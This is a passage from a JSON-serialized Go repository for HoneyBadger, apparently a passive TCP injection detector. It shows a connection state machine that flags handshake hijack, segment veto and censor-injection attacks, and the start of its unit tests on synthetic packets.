2\n\tTCP_DATA_TRANSFER          = 3\n\tTCP_CONNECTION_CLOSING     = 4\n\tTCP_INVALID                = 5\n\tTCP_CLOSED                 = 6\n\n\t// initiating TCP closing finite state machine\n\tTCP_FIN_WAIT1 = 0\n\tTCP_FIN_WAIT2 = 1\n\tTCP_TIME_WAIT = 2\n\tTCP_CLOSING   = 3\n\n\t// initiated TCP closing finite state machine\n\tTCP_CLOSE_WAIT = 0\n\tTCP_LAST_ACK   = 1\n)\n\ntype ConnectionFactory interface {\n\tBuild(ConnectionOptions) ConnectionInterface\n}\n\ntype DefaultConnFactory struct {\n}\n\nfunc (f *DefaultConnFactory) Build(options ConnectionOptions) ConnectionInterface {\n\tconn := Connection{\n\t\tpacketCount:       0,\n\t\tConnectionOptions: options,\n\t\tattackDetected:    false,\n\t\tstate:             TCP_UNKNOWN,\n\t\tskipHijackDetectionCount: FIRST_FEW_PACKETS,\n\t\tclientNextSeq:            types.InvalidSequence,\n\t\tserverNextSeq:            types.InvalidSequence,\n\t\tClientStreamRing:         types.NewRing(options.MaxRingPackets),\n\t\tServerStreamRing:         types.NewRing(options.MaxRingPackets),\n\t\tclientFlow:               &types.TcpIpFlow{},\n\t\tserverFlow:               &types.TcpIpFlow{},\n\t}\n\n\tconn.ClientCoalesce = NewOrderedCoalesce(conn.AttackLogger, conn.clientFlow, conn.PageCache, conn.ClientStreamRing, conn.MaxBufferedPagesTotal, conn.MaxBufferedPagesPerConnection/2, conn.DetectCoalesceInjection, &conn.attackDetected)\n\tconn.ServerCoalesce = NewOrderedCoalesce(conn.AttackLogger, conn.serverFlow, conn.PageCache, conn.ServerStreamRing, conn.MaxBufferedPagesTotal, conn.MaxBufferedPagesPerConnection/2, conn.DetectCoalesceInjection, &conn.attackDetected)\n\n\treturn &conn\n}\n\ntype ConnectionInterface interface {\n\tClose()\n\tGetClientFlow() *types.TcpIpFlow\n\tSetPacketLogger(types.PacketLogger)\n\tGetLastSeen() time.Time\n\tReceivePacket(*types.PacketManifest)\n}\n\ntype PacketDispatcher interface {\n\tReceivePacket(*types.PacketManifest)\n\tGetObservedConnectionsChan(int) chan bool\n\tConnections() []ConnectionInterface\n\tStop()\n}\n\ntype ConnectionOptions struct {\n\tMaxBufferedPagesTotal         int\n\tMaxBufferedPagesPerConnection int\n\tMaxRingPackets                int\n\tPageCache                     *pageCache\n\tLogDir                        string\n\tLogPackets                    bool\n\tAttackLogger                  types.Logger\n\tDetectHijack                  bool\n\tDetectInjection               bool\n\tDetectCoalesceInjection       bool\n}\n\n// Connection is used to track client and server flows for a given TCP connection.\n// We implement a basic TCP finite state machine and track state in order to detect\n// hanshake hijack and other TCP attacks such as segment veto and sloppy injection.\ntype Connection struct {\n\tConnectionOptions\n\tattackDetected           bool\n\tpacketCount              uint64\n\tskipHijackDetectionCount uint64\n\tlastSeen                 time.Time\n\tlastSeenMutex            sync.Mutex\n\tstate                    uint8\n\tclientState              uint8\n\tserverState              uint8\n\tclientFlow               *types.TcpIpFlow\n\tserverFlow               *types.TcpIpFlow\n\tclosingFlow              *types.TcpIpFlow\n\tclosingRST               bool\n\tclosingFIN               bool\n\tclosingSeq               types.Sequence\n\tclientNextSeq            types.Sequence\n\tserverNextSeq            types.Sequence\n\thijackNextAck            types.Sequence\n\tfirstSynAckSeq           uint32\n\tClientStreamRing         *types.Ring\n\tServerStreamRing         *types.Ring\n\tClientCoalesce           *OrderedCoalesce\n\tServerCoalesce           *OrderedCoalesce\n\tPacketLogger             types.PacketLogger\n}\n\nfunc (c *Connection) GetClientFlow() *types.TcpIpFlow {\n\treturn c.clientFlow\n}\n\nfunc (c *Connection) SetPacketLogger(logger types.PacketLogger) {\n\tc.PacketLogger = logger\n}\n\n// GetLastSeen returns the lastSeen timestamp after grabbing the lock\nfunc (c *Connection) GetLastSeen() time.Time {\n\tc.lastSeenMutex.Lock()\n\tdefer c.lastSeenMutex.Unlock()\n\treturn c.lastSeen\n}\n\n// updateLastSeen updates our lastSeen with the new timestamp after grabbing the lock\nfunc (c *Connection) updateLastSeen(timestamp time.Time) {\n\tc.lastSeenMutex.Lock()\n\tdefer c.lastSeenMutex.Unlock()\n\tif c.lastSeen.Before(timestamp) {\n\t\tc.lastSeen = timestamp\n\t}\n}\n\n// Close can be used by the the connection or the dispatcher to close the connection\nfunc (c *Connection) Close() {\n\tlog.Print(\"Close()\")\n\tif c.attackDetected == false {\n\t\tif c.PacketLogger != nil {\n\t\t\tlog.Print(\"no attack detected. removing pcap logs\")\n\t\t\tc.PacketLogger.Remove()\n\t\t}\n\t} else {\n\t\tif c.LogPackets {\n\t\t\tlog.Print(\"attack detected; archiving connection's pcap logs\\n\")\n\t\t\tc.PacketLogger.Archive()\n\t\t}\n\t}\n\tc.ClientCoalesce.Close()\n\tc.ServerCoalesce.Close()\n\tif c.LogPackets {\n\t\tc.PacketLogger.Stop()\n\t\tc.PacketLogger = nil // just in case the state machine receives another packet...\n\t}\n}\n\n// detectHijack checks for duplicate SYN/ACK indicating handshake hijake\n// and submits a report if an attack was observed\nfunc (c *Connection) detectHijack(p *types.PacketManifest, flow *types.TcpIpFlow) {\n\t// check for duplicate SYN/ACK indicating handshake hijake\n\tif !flow.Equal(c.serverFlow) {\n\t\treturn\n\t}\n\tif p.TCP.ACK && p.TCP.SYN {\n\t\tif types.Sequence(p.TCP.Ack).Difference(c.hijackNextAck) == 0 {\n\t\t\tif p.TCP.Seq != c.firstSynAckSeq {\n\t\t\t\tlog.Print(\"handshake hijack detected\\n\")\n\t\t\t\tc.AttackLogger.Log(&types.Event{\n\t\t\t\t\tTime:        time.Now(),\n\t\t\t\t\tType:        \"handshake-hijack\",\n\t\t\t\t\tPacketCount: c.packetCount,\n\t\t\t\t\tFlow:        *flow,\n\t\t\t\t\tHijackSeq:   p.TCP.Seq,\n\t\t\t\t\tHijackAck:   p.TCP.Ack})\n\t\t\t\tc.attackDetected = true\n\t\t\t} else {\n\t\t\t\tlog.Print(\"SYN/ACK retransmission\\n\")\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (c *Connection) detectInjection(p *types.PacketManifest) {\n\n\tvar ringPtr *types.Ring\n\n\tif p.Flow.Equal(c.clientFlow) {\n\t\tringPtr = c.ServerStreamRing\n\t} else {\n\t\tringPtr = c.ClientStreamRing\n\t}\n\n\tstart := types.Sequence(p.TCP.Seq)\n\tend := types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\n\t// injection detection\n\tevents := checkForInjectionInRing(ringPtr, start, end, p.Payload)\n\n\tif len(events) == 0 {\n\t\treturn\n\t}\n\n\t// log events if any\n\tfor i := 0; i < len(events); i++ {\n\t\tif events[i] == nil {\n\t\t\tpanic(\"wtf got nil event\")\n\t\t} else {\n\t\t\tif len(events[i].Type) == 0 {\n\t\t\t\tevents[i].Type = \"segment veto or sloppy injection\"\n\t\t\t}\n\t\t\tevents[i].Base = types.Sequence(p.TCP.Seq)\n\t\t\tevents[i].Time = p.Timestamp\n\t\t\tevents[i].Flow = *p.Flow\n\t\t\tevents[i].Payload = p.Payload\n\t\t\tevents[i].PacketCount = c.packetCount\n\t\t\tc.AttackLogger.Log(events[i])\n\t\t\tc.attackDetected = true\n\t\t\tlog.Printf(\"injection detected in packet # %d\\n\", c.packetCount)\n\t\t}\n\t}\n}\n\n// stateUnknown gets called by our TCP finite state machine runtime\n// and moves us into the TCP_CONNECTION_REQUEST state if we receive\n// a SYN packet... otherwise TCP_DATA_TRANSFER state.\nfunc (c *Connection) stateUnknown(p *types.PacketManifest) {\n\tc.clientFlow = p.Flow\n\tf := p.Flow.Reverse()\n\tc.serverFlow = &f\n\n\tif p.TCP.SYN && !p.TCP.ACK {\n\t\tc.state = TCP_CONNECTION_REQUEST\n\n\t\t// Note that TCP SYN and SYN/ACK packets may contain payload data if\n\t\t// a TCP extension is used...\n\t\t// If so then the sequence number needs to track this payload.\n\t\t// For more information see: https://tools.ietf.org/id/draft-agl-tcpm-sadata-00.html\n\t\tc.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1)\n\t\tc.hijackNextAck = c.clientNextSeq\n\n\t} else {\n\t\t// else process a connection after handshake\n\t\tc.state = TCP_DATA_TRANSFER\n\t\t// skip handshake hijack detection completely\n\t\tc.skipHijackDetectionCount = 0\n\t\tc.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1)\n\t\tif len(p.Payload) > 0 {\n\t\t\treassembly := types.Reassembly{\n\t\t\t\tSeq:   types.Sequence(p.TCP.Seq),\n\t\t\t\tBytes: []byte(p.Payload),\n\t\t\t\tSeen:  p.Timestamp,\n\t\t\t}\n\t\t\tc.ServerStreamRing.Reassembly = &reassembly\n\t\t\tc.ServerStreamRing = c.ServerStreamRing.Next()\n\t\t\tc.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t}\n\t\tif p.TCP.FIN || p.TCP.RST {\n\t\t\tc.state = TCP_CLOSED\n\t\t\tc.closingFlow = p.Flow\n\t\t\tc.closingSeq = types.Sequence(p.TCP.Seq)\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// stateConnectionRequest gets called by our TCP finite state machine runtime\n// and moves us into the TCP_CONNECTION_ESTABLISHED state if we receive\n// a SYN/ACK packet.\nfunc (c *Connection) stateConnectionRequest(p *types.PacketManifest) {\n\tif !p.Flow.Equal(c.serverFlow) {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tif !(p.TCP.SYN && p.TCP.ACK) {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tif c.clientNextSeq.Difference(types.Sequence(p.TCP.Ack)) != 0 {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tc.state = TCP_CONNECTION_ESTABLISHED\n\tc.serverNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1) // XXX see above comment about TCP extentions\n\tc.firstSynAckSeq = p.TCP.Seq\n}\n\n// stateConnectionEstablished is called by our TCP FSM runtime and\n// changes our state to TCP_DATA_TRANSFER if we receive a valid final\n// handshake ACK packet.\nfunc (c *Connection) stateConnectionEstablished(p *types.PacketManifest) {\n\tif !c.attackDetected {\n\t\tif c.DetectHijack {\n\t\t\tc.detectHijack(p, p.Flow)\n\t\t\tif c.attackDetected {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\tif !p.Flow.Equal(c.clientFlow) {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tif !p.TCP.ACK || p.TCP.SYN {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tif types.Sequence(p.TCP.Seq).Difference(c.clientNextSeq) != 0 {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tif types.Sequence(p.TCP.Ack).Difference(c.serverNextSeq) != 0 {\n\t\tlog.Print(\"handshake anomaly\")\n\t\treturn\n\t}\n\tc.state = TCP_DATA_TRANSFER\n\tlog.Printf(\"connected %s\\n\", c.clientFlow.String())\n}\n\n// stateDataTransfer is called by our TCP FSM and processes packets\n// once we are in the TCP_DATA_TRANSFER state\nfunc (c *Connection) stateDataTransfer(p *types.PacketManifest) {\n\tvar closerState, remoteState *uint8\n\tvar diff int\n\n\tisEnd := false\n\tif c.clientNextSeq == types.InvalidSequence && p.Flow.Equal(c.clientFlow) {\n\t\tc.clientNextSeq = types.Sequence(p.TCP.Seq)\n\t} else if c.serverNextSeq == types.InvalidSequence && p.Flow.Equal(c.serverFlow) {\n\t\tc.serverNextSeq = types.Sequence(p.TCP.Seq)\n\t}\n\tif c.packetCount < c.skipHijackDetectionCount {\n\t\tif c.DetectHijack {\n\t\t\tc.detectHijack(p, p.Flow)\n\t\t}\n\t}\n\tif p.Flow.Equal(c.clientFlow) {\n\t\tdiff = c.clientNextSeq.Difference(types.Sequence(p.TCP.Seq))\n\t\tcloserState = &c.clientState\n\t\tremoteState = &c.serverState\n\t} else if p.Flow.Equal(c.serverFlow) {\n\t\tdiff = c.serverNextSeq.Difference(types.Sequence(p.TCP.Seq))\n\t\tcloserState = &c.serverState\n\t\tremoteState = &c.clientState\n\t} else {\n\t\tlog.Printf(\"packet flow %s clientflow %s serverflow %s\\n\", p.Flow, c.clientFlow, c.serverFlow)\n\t\tpanic(\"wtf\")\n\t}\n\n\tif diff == 0 { // contiguous\n\t\tif len(p.Payload) > 0 {\n\t\t\treassembly := types.Reassembly{\n\t\t\t\tSeq:   types.Sequence(p.TCP.Seq),\n\t\t\t\tBytes: []byte(p.Payload),\n\t\t\t\tSeen:  p.Timestamp,\n\t\t\t}\n\t\t\tif p.Flow.Equal(c.clientFlow) {\n\t\t\t\tc.ServerStreamRing.Reassembly = &reassembly\n\t\t\t\tc.ServerStreamRing = c.ServerStreamRing.Next()\n\t\t\t\tc.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t\t\tprev := c.clientNextSeq\n\t\t\t\tc.clientNextSeq, isEnd = c.ServerCoalesce.addContiguous(c.clientNextSeq)\n\t\t\t\tif c.clientNextSeq != prev {\n\t\t\t\t\treassembly.IsCoalesceGap = true\n\t\t\t\t}\n\t\t\t\tif isEnd {\n\t\t\t\t\tc.state = TCP_CLOSED\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tc.ClientStreamRing.Reassembly = &reassembly\n\t\t\t\tc.ClientStreamRing = c.ClientStreamRing.Next()\n\t\t\t\tc.serverNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t\t\tprev := c.serverNextSeq\n\t\t\t\tc.serverNextSeq, isEnd = c.ClientCoalesce.addContiguous(c.serverNextSeq)\n\t\t\t\tif c.serverNextSeq != prev {\n\t\t\t\t\treassembly.IsCoalesceGap = true\n\t\t\t\t}\n\t\t\t\tif isEnd {\n\t\t\t\t\tc.state = TCP_CLOSED\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif p.TCP.RST {\n\t\t\tlog.Print(\"got RST!\\n\")\n\t\t\tc.closingRST = true\n\t\t\tc.state = TCP_CLOSED\n\t\t\tc.closingFlow = p.Flow\n\t\t\tc.closingSeq = types.Sequence(p.TCP.Seq)\n\t\t\treturn\n\t\t}\n\t\tif p.TCP.FIN {\n\t\t\tc.closingFIN = true\n\t\t\tc.closingFlow = p.Flow\n\t\t\tc.state = TCP_CONNECTION_CLOSING\n\t\t\t*closerState = TCP_FIN_WAIT1\n\t\t\t*remoteState = TCP_CLOSE_WAIT\n\t\t\treturn\n\t\t}\n\t} else if diff > 0 { // future-out-of-order packet case\n\t\tif p.Flow.Equal(c.clientFlow) {\n\t\t\tc.clientNextSeq, isEnd = c.ServerCoalesce.insert(p, c.clientNextSeq)\n\t\t} else {\n\t\t\tc.serverNextSeq, isEnd = c.ClientCoalesce.insert(p, c.serverNextSeq)\n\t\t}\n\t\tif isEnd {\n\t\t\tc.state = TCP_CLOSED\n\t\t\tc.closingFlow = p.Flow\n\t\t\tc.closingSeq = types.Sequence(p.TCP.Seq)\n\t\t}\n\t}\n}\n\n// stateFinWait1 handles packets for the FIN-WAIT-1 state\n//func (c *Connection) stateFinWait1(p *types.PacketManifest) {\nfunc (c *Connection) stateFinWait1(p *types.PacketManifest, flow *types.TcpIpFlow, nextSeqPtr *types.Sequence, nextAckPtr *types.Sequence, statePtr, otherStatePtr *uint8) {\n\tc.detectCensorInjection(p)\n\tdiff := nextSeqPtr.Difference(types.Sequence(p.TCP.Seq))\n\tif diff > 0 {\n\t\t// future out of order\n\t\tlog.Print(\"FIN-WAIT-1: ignoring out of order packet\")\n\t\treturn\n\t} else if diff == 0 {\n\t\tif len(p.Payload) > 0 {\n\t\t\treassembly := types.Reassembly{\n\t\t\t\tSeq:   types.Sequence(p.TCP.Seq),\n\t\t\t\tBytes: []byte(p.Payload),\n\t\t\t\tSeen:  p.Timestamp,\n\t\t\t}\n\t\t\tif p.Flow.Equal(c.clientFlow) {\n\t\t\t\tc.ServerStreamRing.Reassembly = &reassembly\n\t\t\t\tc.ServerStreamRing = c.ServerStreamRing.Next()\n\t\t\t\tc.clientNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t\t\tc.clientNextSeq, _ = c.ServerCoalesce.addContiguous(c.clientNextSeq)\n\t\t\t} else {\n\t\t\t\tc.ClientStreamRing.Reassembly = &reassembly\n\t\t\t\tc.ClientStreamRing = c.ClientStreamRing.Next()\n\t\t\t\tc.serverNextSeq = types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t\t\tc.serverNextSeq, _ = c.ClientCoalesce.addContiguous(c.serverNextSeq)\n\t\t\t}\n\t\t}\n\n\t\tif p.TCP.ACK {\n\t\t\t*nextAckPtr += 1\n\t\t\tif p.TCP.FIN {\n\t\t\t\t*statePtr = TCP_CLOSING\n\t\t\t\t*otherStatePtr = TCP_LAST_ACK\n\t\t\t\t*nextSeqPtr = types.Sequence(p.TCP.Seq).Add(len(p.Payload) + 1)\n\t\t\t\tif types.Sequence(p.TCP.Ack).Difference(*nextAckPtr) != 0 {\n\t\t\t\t\tlog.Printf(\"FIN-WAIT-1: unexpected ACK: got %d expected %d TCP.Seq %d\\n\", p.TCP.Ack, *nextAckPtr, p.TCP.Seq)\n\t\t\t\t\tc.closingFlow = p.Flow\n\t\t\t\t\tc.closingSeq = types.Sequence(p.TCP.Seq)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t*statePtr = TCP_FIN_WAIT2\n\t\t\t\t*nextSeqPtr = types.Sequence(p.TCP.Seq).Add(len(p.Payload))\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Print(\"FIN-WAIT-1: non-ACK packet received.\\n\")\n\t\t\tc.closingFlow = p.Flow\n\t\t\tc.closingSeq = types.Sequence(p.TCP.Seq)\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// stateFinWait2 handles packets for the FIN-WAIT-2 state\nfunc (c *Connection) stateFinWait2(p *types.PacketManifest, flow *types.TcpIpFlow, nextSeqPtr *types.Sequence, nextAckPtr *types.Sequence, statePtr *uint8) {\n\tc.detectCensorInjection(p)\n\tdiff := nextSeqPtr.Difference(types.Sequence(p.TCP.Seq))\n\tif diff > 0 {\n\t\t// future out of order\n\t\tlog.Print(\"FIN-WAIT-2: out of order packet received.\\n\")\n\t\tlog.Printf(\"got TCP.Seq %d expected %d\\n\", p.TCP.Seq, *nextSeqPtr)\n\t} else if diff == 0 {\n\t\t// contiguous\n\t\tif p.TCP.ACK && p.TCP.FIN {\n\t\t\t*nextSeqPtr += 1\n\t\t\t*statePtr = TCP_TIME_WAIT\n\t\t}\n\t}\n}\n\n// stateCloseWait represents the TCP FSM's CLOSE-WAIT state\nfunc (c *Connection) stateCloseWait(p *types.PacketManifest) {\n\tvar nextSeqPtr *types.Sequence\n\tif p.Flow.Equal(c.clientFlow) {\n\t\tnextSeqPtr = &c.clientNextSeq\n\t} else {\n\t\tnextSeqPtr = &c.serverNextSeq\n\t}\n\tdiff := types.Sequence(p.TCP.Seq).Difference(*nextSeqPtr)\n\t// stream overlap case\n\tif diff > 0 {\n\t\tif len(p.Payload) == 0 {\n\t\t\tc.detectCensorInjection(p)\n\t\t}\n\t}\n}\n\n// stateTimeWait represents the TCP FSM's CLOSE-WAIT state\nfunc (c *Connection) stateTimeWait(p *types.PacketManifest) {\n\tlog.Print(\"TIME-WAIT: invalid protocol state\\n\")\n\tc.closingFlow = p.Flow\n\tc.closingSeq = types.Sequence(p.TCP.Seq)\n}\n\n// stateClosing represents the TCP FSM's CLOSING state\nfunc (c *Connection) stateClosing(p *types.PacketManifest) {\n\tlog.Print(\"CLOSING: invalid protocol state\\n\")\n}\n\n// stateLastAck represents the TCP FSM's LAST-ACK state\nfunc (c *Connection) stateLastAck(p *types.PacketManifest, flow *types.TcpIpFlow, nextSeqPtr *types.Sequence, nextAckPtr *types.Sequence, statePtr *uint8) {\n\tif types.Sequence(p.TCP.Seq).Difference(*nextSeqPtr) == 0 {\n\t\tif p.TCP.ACK && (!p.TCP.FIN && !p.TCP.SYN) {\n\t\t\tif types.Sequence(p.TCP.Ack).Difference(*nextAckPtr) != 0 {\n\t\t\t\tlog.Printf(\"LAST-ACK: out of order ACK packet received. seq %d != nextAck %d\\n\", p.TCP.Ack, *nextAckPtr)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Print(\"LAST-ACK: protocol anamoly\\n\")\n\t\t}\n\t} else {\n\t\tlog.Print(\"LAST-ACK: out of order packet received\\n\")\n\t\tlog.Printf(\"LAST-ACK: out of order packet received; got %d expected %d\\n\", p.TCP.Seq, *nextSeqPtr)\n\t}\n\tc.state = TCP_CLOSED\n}\n\nfunc (c *Connection) detectCensorInjection(p *types.PacketManifest) {\n\tvar attackType string\n\tif p.TCP.FIN || p.TCP.RST {\n\t\t// ignore \"closing\" retransmissions\n\t\treturn\n\t}\n\tif len(p.Payload) == 0 {\n\t\treturn\n\t}\n\tif c.closingRST {\n\t\tattackType = \"censor-injection-RST_\"\n\t} else if c.closingFIN {\n\t\tattackType = \"censor-injection-FIN_\"\n\t} else {\n\t\tattackType = \"censor-injection-coalesce_\"\n\t}\n\tif c.closingFlow != nil {\n\t\tif p.Flow.Equal(c.closingFlow) && types.Sequence(p.TCP.Seq).Difference(c.closingSeq) == 0 {\n\t\t\tattackType += \"closing-sequence-overlap\"\n\t\t} else {\n\t\t\treturn\n\t\t}\n\t} else {\n\t\treturn\n\t}\n\tevent := types.Event{\n\t\tType:        attackType,\n\t\tPacketCount: c.packetCount,\n\t\tTime:        time.Now(),\n\t\tFlow:        *p.Flow,\n\t\tStart:       types.Sequence(p.TCP.Seq),\n\t}\n\tc.AttackLogger.Log(&event)\n\tc.attackDetected = true\n}\n\nfunc (c *Connection) stateClosed(p *types.PacketManifest) {\n\tvar nextSeqPtr *types.Sequence\n\tif p.Flow.Equal(c.clientFlow) {\n\t\tnextSeqPtr = &c.clientNextSeq\n\t} else {\n\t\tnextSeqPtr = &c.serverNextSeq\n\t}\n\tif *nextSeqPtr != types.InvalidSequence {\n\t\tc.detectCensorInjection(p)\n\t}\n}\n\n// stateConnectionClosing handles all the closing states until the closed state has been reached.\nfunc (c *Connection) stateConnectionClosing(p *types.PacketManifest) {\n\tvar nextSeqPtr *types.Sequence\n\tvar nextAckPtr *types.Sequence\n\tvar statePtr, otherStatePtr *uint8\n\tif c.clientFlow.Equal(p.Flow) {\n\t\tstatePtr = &c.clientState\n\t\totherStatePtr = &c.serverState\n\t\tnextSeqPtr = &c.clientNextSeq\n\t\tnextAckPtr = &c.serverNextSeq\n\t} else {\n\t\tstatePtr = &c.serverState\n\t\totherStatePtr = &c.clientState\n\t\tnextSeqPtr = &c.serverNextSeq\n\t\tnextAckPtr = &c.clientNextSeq\n\t}\n\tif p.Flow.Equal(c.closingFlow) {\n\t\tswitch *statePtr {\n\t\tcase TCP_CLOSE_WAIT:\n\t\t\tc.stateCloseWait(p)\n\t\tcase TCP_LAST_ACK:\n\t\t\tc.stateLastAck(p, p.Flow, nextSeqPtr, nextAckPtr, statePtr)\n\t\t}\n\t} else {\n\t\tswitch *statePtr {\n\t\tcase TCP_FIN_WAIT1:\n\t\t\tc.stateFinWait1(p, p.Flow, nextSeqPtr, nextAckPtr, statePtr, otherStatePtr)\n\t\tcase TCP_FIN_WAIT2:\n\t\t\tc.stateFinWait2(p, p.Flow, nextSeqPtr, nextAckPtr, statePtr)\n\t\tcase TCP_TIME_WAIT:\n\t\t\tc.stateTimeWait(p)\n\t\tcase TCP_CLOSING:\n\t\t\tc.stateClosing(p)\n\t\t}\n\t}\n}\n\n// ReceivePacket implements a TCP finite state machine\n// which is loosely based off of the simplified FSM in this paper:\n// http://ants.iis.sinica.edu.tw/3bkmj9ltewxtsrrvnoknfdxrm3zfwrr/17/p520460.pdf\n// The goal is to detect all manner of content injection.\nfunc (c *Connection) ReceivePacket(p *types.PacketManifest) {\n\tc.updateLastSeen(p.Timestamp)\n\tif c.PacketLogger != nil {\n\t\tc.PacketLogger.WritePacket(p.RawPacket, p.Timestamp)\n\t}\n\tc.packetCount += 1\n\t//log.Printf(\"packetCount %d\\n\", c.packetCount)\n\n\tif c.state != TCP_UNKNOWN {\n\t\t// detect injection\n\t\tvar nextSeqPtr *types.Sequence\n\t\tif c.clientFlow.Equal(p.Flow) {\n\t\t\tnextSeqPtr = &c.clientNextSeq\n\t\t} else {\n\t\t\tnextSeqPtr = &c.serverNextSeq\n\t\t}\n\t\tdiff := nextSeqPtr.Difference(types.Sequence(p.TCP.Seq))\n\t\tif diff < 0 {\n\t\t\t// overlap\n\t\t\tif len(p.Payload) > 0 {\n\t\t\t\tc.detectInjection(p)\n\t\t\t}\n\t\t}\n\t}\n\n\t// simplified TCP state machine\n\tswitch c.state {\n\tcase TCP_UNKNOWN:\n\t\tc.stateUnknown(p)\n\tcase TCP_CONNECTION_REQUEST:\n\t\tc.stateConnectionRequest(p)\n\tcase TCP_CONNECTION_ESTABLISHED:\n\t\tc.stateConnectionEstablished(p)\n\tcase TCP_DATA_TRANSFER:\n\t\tc.stateDataTransfer(p)\n\tcase TCP_CONNECTION_CLOSING:\n\t\tc.stateConnectionClosing(p)\n\tcase TCP_CLOSED:\n\t\tc.stateClosed(p)\n\t}\n}\n"
  },
  {
    "path": "connection_test.go",
    "content": "package HoneyBadger\n\nimport (\n\t\"log\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n)\n\nfunc TestStateDataTransfer(t *testing.T) {\n\toptions := ConnectionOptions{\n\t\tMaxBufferedPagesTotal:         0,\n\t\tMaxBufferedPagesPerConnection: 0,\n\t\tMaxRingPackets:                40,\n\t\tPageCache:                     nil,\n\t\tLogDir:                        \"fake-log-dir\",\n\t\tAttackLogger:                  NewDummyAttackLogger(),\n\t}\n\n\tf := &DefaultConnFactory{}\n\tconn := f.Build(options).(*Connection)\n\n\tconn.state = TCP_DATA_TRANSFER\n\tclientRingCount := 0\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSeq:     3,\n\t\tSYN:     false,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tflow := types.NewTcpIp4FlowFromLayers(ip, tcp)\n\tp := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\tconn.serverFlow = flow\n\tflo := flow.Reverse()\n\tconn.clientFlow = &flo\n\tconn.clientNextSeq = 9666\n\tconn.serverNextSeq = 3\n\n\tconn.ReceivePacket(&p)\n\tif conn.state != TCP_DATA_TRANSFER {\n\t\tt.Error(\"invalid state transition\\n\")\n\t\tt.Fail()\n\t}\n\n\tclientRingCount = conn.ClientStreamRing.Prev().Count()\n\n\tif clientRingCount != 1 {\n\t\tt.Errorf(\"clientRingCount %d not correct\", clientRingCount)\n\t\tt.Fail()\n\t}\n\n\t// next set of tests\n\ttcp = layers.TCP{\n\t\tSeq:     10,\n\t\tSYN:     false,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_DATA_TRANSFER {\n\t\tt.Error(\"invalid state transition\\n\")\n\t\tt.Fail()\n\t}\n\tclientRingCount = conn.ClientStreamRing.Prev().Count()\n\tif clientRingCount != 2 {\n\t\tt.Errorf(\"clientRingCount %d not correct\", clientRingCount)\n\t\tt.Fail()\n\t}\n\n\t// next test\n\ttcp = layers.TCP{\n\t\tSeq:     5,\n\t\tSYN:     false,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_DATA_TRANSFER {\n\t\tt.Error(\"invalid state transition\\n\")\n\t\tt.Fail()\n\t}\n\tclientRingCount = conn.ClientStreamRing.Prev().Count()\n\tif clientRingCount != 2 {\n\t\tt.Errorf(\"clientRingCount %d not correct\", clientRingCount)\n\t\tt.Fail()\n\t}\n\n}\n\nfunc TestTCPConnect(t *testing.T) {\n\toptions := ConnectionOptions{\n\t\tMaxBufferedPagesTotal:         0,\n\t\tMaxBufferedPagesPerConnection: 0,\n\t\tMaxRingPackets:                40,\n\t\tPageCache:                     nil,\n\t\tLogDir:                        \"fake-log-dir\",\n\t}\n\n\tf := &DefaultConnFactory{}\n\tconn := f.Build(options).(*Connection)\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSeq:     3,\n\t\tSYN:     true,\n\t\tACK:     false,\n\t\tSrcPort: 